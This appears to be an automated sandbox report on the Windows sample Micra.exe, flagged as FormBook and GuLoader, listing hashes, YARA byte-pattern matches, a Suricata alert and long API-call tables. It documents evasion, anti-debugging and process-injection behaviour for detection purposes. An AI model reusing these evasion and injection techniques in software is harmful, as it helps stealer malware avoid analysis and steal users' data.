Edit tour

Windows Analysis Report
Micra.exe

Overview

General Information

Sample name:	Micra.exe
Analysis ID:	1545328
MD5:	1ad521dbfab2e258ac84aa46e82fb5c7
SHA1:	560a6c25f441e888a805b328f773969a82e2c4a3
SHA256:	5249ac3848e42ac5264815414a321bfa6a698970ff8ffea1dd1d0a4e070b0224
Infos:

Detection

FormBook, GuLoader

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected FormBook

Yara detected GuLoader

AI detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

Micra.exe (PID: 6248 cmdline: "C:\Users\user\Desktop\Micra.exe" MD5: 1AD521DBFAB2E258AC84AA46E82FB5C7)

Micra.exe (PID: 2024 cmdline: "C:\Users\user\Desktop\Micra.exe" MD5: 1AD521DBFAB2E258AC84AA46E82FB5C7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.4039386089.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.4039386089.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b8d0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13bbf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000000.00000002.3421465563.000000000336C000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T12:42:58.760192+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50002	142.250.184.206	443	TCP

Code function: 0_2_00405194 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405194

E-Banking Fraud

Yara detected FormBook

Source: Yara match

File source: 00000005.00000002.4039386089.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000005.00000002.4039386089.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Users\user\Desktop\Micra.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A35C0 NtCreateMutant,LdrInitializeThunk,	5_2_357A35C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_357A2DF0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_357A2C70
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A3010 NtOpenDirectoryObject,	5_2_357A3010
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A3090 NtSetValueKey,	5_2_357A3090
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A3D70 NtOpenThread,	5_2_357A3D70
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A3D10 NtOpenProcessToken,	5_2_357A3D10
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A39B0 NtGetContextThread,	5_2_357A39B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A4650 NtSuspendThread,	5_2_357A4650
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A4340 NtSetContextThread,	5_2_357A4340
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2D30 NtUnmapViewOfSection,	5_2_357A2D30
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2D10 NtMapViewOfSection,	5_2_357A2D10
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2D00 NtSetInformationFile,	5_2_357A2D00
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2DD0 NtDelayExecution,	5_2_357A2DD0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2DB0 NtEnumerateKey,	5_2_357A2DB0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2C60 NtCreateKey,	5_2_357A2C60
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2C00 NtQueryInformationProcess,	5_2_357A2C00
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2CF0 NtOpenProcess,	5_2_357A2CF0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2CC0 NtQueryVirtualMemory,	5_2_357A2CC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2CA0 NtQueryInformationToken,	5_2_357A2CA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2F60 NtCreateProcessEx,	5_2_357A2F60
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2F30 NtCreateSection,	5_2_357A2F30
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2FE0 NtCreateFile,	5_2_357A2FE0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2FB0 NtResumeThread,	5_2_357A2FB0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2FA0 NtQuerySection,	5_2_357A2FA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2F90 NtProtectVirtualMemory,	5_2_357A2F90
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2E30 NtWriteVirtualMemory,	5_2_357A2E30
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2EE0 NtQueueApcThread,	5_2_357A2EE0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2EA0 NtAdjustPrivilegesToken,	5_2_357A2EA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2E80 NtReadVirtualMemory,	5_2_357A2E80
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2B60 NtClose,	5_2_357A2B60
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2BF0 NtAllocateVirtualMemory,	5_2_357A2BF0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2BE0 NtQueryValueKey,	5_2_357A2BE0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2BA0 NtEnumerateValueKey,	5_2_357A2BA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2B80 NtQueryInformationFile,	5_2_357A2B80
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2AF0 NtWriteFile,	5_2_357A2AF0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2AD0 NtReadFile,	5_2_357A2AD0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A2AB0 NtWaitForSingleObject,	5_2_357A2AB0

Source: C:\Users\user\Desktop\Micra.exe

Code function: 0_2_004031BB EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004031BB

Source: C:\Users\user\Desktop\Micra.exe	File created: C:\Windows\resources\nringsmiddelet.ini	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	File created: C:\Windows\terzetters	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	File created: C:\Windows\Fonts\karrooers.ini	Jump to behavior

Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_004049D3	0_2_004049D3
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_004065BB	0_2_004065BB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192312	0_2_03192312
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191316	0_2_03191316
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191F23	0_2_03191F23
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191325	0_2_03191325
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191F5D	0_2_03191F5D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03190F44	0_2_03190F44
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191B46	0_2_03191B46
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191368	0_2_03191368
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319276E	0_2_0319276E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03190F64	0_2_03190F64
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319139C	0_2_0319139C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191F95	0_2_03191F95
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191B94	0_2_03191B94
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192797	0_2_03192797
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192389	0_2_03192389
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191782	0_2_03191782
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031923A8	0_2_031923A8
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03190FA1	0_2_03190FA1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03190FD8	0_2_03190FD8
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031917DD	0_2_031917DD
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031923C2	0_2_031923C2
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031913C2	0_2_031913C2
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031927C6	0_2_031927C6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031917F9	0_2_031917F9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191FF9	0_2_03191FF9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031927FE	0_2_031927FE
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031913F3	0_2_031913F3
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191BE3	0_2_03191BE3
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192613	0_2_03192613
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03190E3B	0_2_03190E3B
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319123A	0_2_0319123A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319022B	0_2_0319022B
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319222D	0_2_0319222D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191E2E	0_2_03191E2E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191227	0_2_03191227
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191A53	0_2_03191A53
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192A52	0_2_03192A52
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192647	0_2_03192647
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192278	0_2_03192278
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319127D	0_2_0319127D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191677	0_2_03191677
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192A77	0_2_03192A77
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03190E68	0_2_03190E68
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191E6A	0_2_03191E6A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191A6C	0_2_03191A6C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192261	0_2_03192261
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191697	0_2_03191697
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192681	0_2_03192681
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191EB8	0_2_03191EB8
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031912B1	0_2_031912B1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031922B0	0_2_031922B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03190EB7	0_2_03190EB7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031926A8	0_2_031926A8
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191AAE	0_2_03191AAE
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191ACD	0_2_03191ACD
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192AF9	0_2_03192AF9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031916FE	0_2_031916FE
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191EF7	0_2_03191EF7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031926E9	0_2_031926E9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031922E0	0_2_031922E0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03190EE4	0_2_03190EE4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319211F	0_2_0319211F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191511	0_2_03191511
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191908	0_2_03191908
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319290D	0_2_0319290D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192533	0_2_03192533
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191D2F	0_2_03191D2F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191120	0_2_03191120
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191D5F	0_2_03191D5F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191950	0_2_03191950
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191172	0_2_03191172
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191977	0_2_03191977
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192964	0_2_03192964
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191D9A	0_2_03191D9A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192191	0_2_03192191
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192995	0_2_03192995
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192597	0_2_03192597
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191589	0_2_03191589
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031925B7	0_2_031925B7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031919B6	0_2_031919B6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03190DDB	0_2_03190DDB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031925DC	0_2_031925DC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031929D7	0_2_031929D7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031921D7	0_2_031921D7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031929FC	0_2_031929FC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03190DFE	0_2_03190DFE
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03190DEF	0_2_03190DEF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031919EE	0_2_031919EE
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031911E6	0_2_031911E6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319241F	0_2_0319241F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192011	0_2_03192011
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191012	0_2_03191012
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192838	0_2_03192838
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319103E	0_2_0319103E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191437	0_2_03191437
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319242F	0_2_0319242F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191827	0_2_03191827
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319245D	0_2_0319245D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192053	0_2_03192053
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191854	0_2_03191854
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191C4E	0_2_03191C4E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192075	0_2_03192075
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191477	0_2_03191477
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319106F	0_2_0319106F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319009B	0_2_0319009B
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03192896	0_2_03192896
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191C8C	0_2_03191C8C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191887	0_2_03191887
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031920B8	0_2_031920B8
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031924BB	0_2_031924BB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031928D1	0_2_031928D1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031910CB	0_2_031910CB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03191CCA	0_2_03191CCA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031924FC	0_2_031924FC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031920F0	0_2_031920F0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580D5B0	5_2_3580D5B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358395C3	5_2_358395C3
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35827571	5_2_35827571
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35761460	5_2_35761460
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582F43F	5_2_3582F43F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582F7B0	5_2_3582F7B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357617EC	5_2_357617EC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357B5630	5_2_357B5630
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358216CC	5_2_358216CC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357A516C	5_2_357A516C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577B1B0	5_2_3577B1B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3583B16B	5_2_3583B16B
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581F0CC	5_2_3581F0CC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582F0E0	5_2_3582F0E0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358270E9	5_2_358270E9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582132D	5_2_3582132D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357B739A	5_2_357B739A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358112ED	5_2_358112ED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578D2F0	5_2_3578D2F0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578B2C0	5_2_3578B2C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578FDC0	5_2_3578FDC0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35821D5A	5_2_35821D5A
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35827D73	5_2_35827D73
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582FCF2	5_2_3582FCF2
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582FFB1	5_2_3582FFB1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582FF09	5_2_3582FF09
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35771F92	5_2_35771F92
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35779950	5_2_35779950
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578B950	5_2_3578B950
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35775990	5_2_35775990
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357DD800	5_2_357DD800
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357738E0	5_2_357738E0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357ADBF9	5_2_357ADBF9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E5BF0	5_2_357E5BF0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582FB76	5_2_3582FB76
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357E3A6C	5_2_357E3A6C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35811AA3	5_2_35811AA3
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580DAAC	5_2_3580DAAC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581DAC6	5_2_3581DAC6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35827A46	5_2_35827A46
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582FA49	5_2_3582FA49
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357B5AA0	5_2_357B5AA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35830591	5_2_35830591
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35770535	5_2_35770535
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581E4F6	5_2_3581E4F6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35814420	5_2_35814420
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35822446	5_2_35822446
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35770770	5_2_35770770
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35794750	5_2_35794750
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3578C6E0	5_2_3578C6E0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358241A2	5_2_358241A2
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358301AC	5_2_358301AC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358281CC	5_2_358281CC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35760100	5_2_35760100
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580A118	5_2_3580A118
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35802000	5_2_35802000
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358303E6	5_2_358303E6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577E3F0	5_2_3577E3F0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F02C0	5_2_357F02C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35810274	5_2_35810274
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580CD1F	5_2_3580CD1F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35788DBF	5_2_35788DBF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577EC60	5_2_3577EC60
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35810CB5	5_2_35810CB5
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35760CF2	5_2_35760CF2
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35790F30	5_2_35790F30
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357B2F28	5_2_357B2F28
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577CFE0	5_2_3577CFE0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35812F30	5_2_35812F30
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35762FC8	5_2_35762FC8
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357EEFA0	5_2_357EEFA0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582CE93	5_2_3582CE93
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582EE26	5_2_3582EE26
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35782E90	5_2_35782E90
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35786962	5_2_35786962
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3583A9A6	5_2_3583A9A6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357729A0	5_2_357729A0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35772840	5_2_35772840
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577A840	5_2_3577A840
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579E8F0	5_2_3579E8F0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35826BD7	5_2_35826BD7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3582AB40	5_2_3582AB40
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576EA80	5_2_3576EA80
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_0166211F	5_2_0166211F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016621D7	5_2_016621D7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662191	5_2_01662191
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662075	5_2_01662075
